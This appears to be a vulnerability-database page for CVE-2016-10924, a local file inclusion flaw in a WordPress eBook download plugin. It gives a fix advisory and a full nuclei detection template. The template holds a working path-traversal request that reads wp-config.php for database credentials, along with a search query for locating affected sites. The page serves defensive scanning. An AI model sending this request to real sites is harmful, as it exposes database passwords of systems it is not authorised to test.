HexBrain

Browse / CVEs / CVE-2016-10924

CVE-2016-10924· zedna ebook download project / zedna ebook download· CWE-22

Wordpress Zedna eBook download <1.2 - Local File Inclusion

highseverity
7.5CVSS score
11.7%likelihood of exploitation, next 30 days
96%of all CVEs are less likely
Readycheck to confirm it

Wordpress Zedna eBook download prior to version 1.2 was affected by a filedownload.php local file inclusion vulnerability.

Impact

An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to sensitive information disclosure or remote code execution.

Fix

Update to the latest version of the plugin to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
Positive when: contains "DB_NAME" and "DB_PASSWORD" AND status 200

Run it with nuclei: nuclei -id CVE-2016-10924 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2016-10924

info:
  name: Wordpress Zedna eBook download <1.2 - Local File Inclusion
  author: idealphase
  severity: high
  description: |
    Wordpress Zedna eBook download prior to version 1.2 was affected by a filedownload.php local file inclusion vulnerability.
  impact: |
    An attacker can exploit this vulnerability to read arbitrary files on the server, potentially leading to sensitive information disclosure or remote code execution.
  remediation: |
    Update to the latest version of the plugin to fix the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/13d5d17a-00a8-441e-bda1-2fd2b4158a6c
    - https://www.exploit-db.com/exploits/39575
    - https://nvd.nist.gov/vuln/detail/CVE-2016-10924
    - https://wordpress.org/plugins/ebook-download/#developers
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2016-10924
    cwe-id: CWE-22
    epss-score: 0.11662
    epss-percentile: 0.96088
    cpe: cpe:2.3:a:zedna_ebook_download_project:zedna_ebook_download:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: zedna_ebook_download_project
    product: zedna_ebook_download
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/ebook-download"
  tags: cve2016,cve,wordpress,edb,wp-plugin,lfi,ebook,wp,wpscan,zedna_ebook_download_project,vkev,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "DB_NAME"
          - "DB_PASSWORD"
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from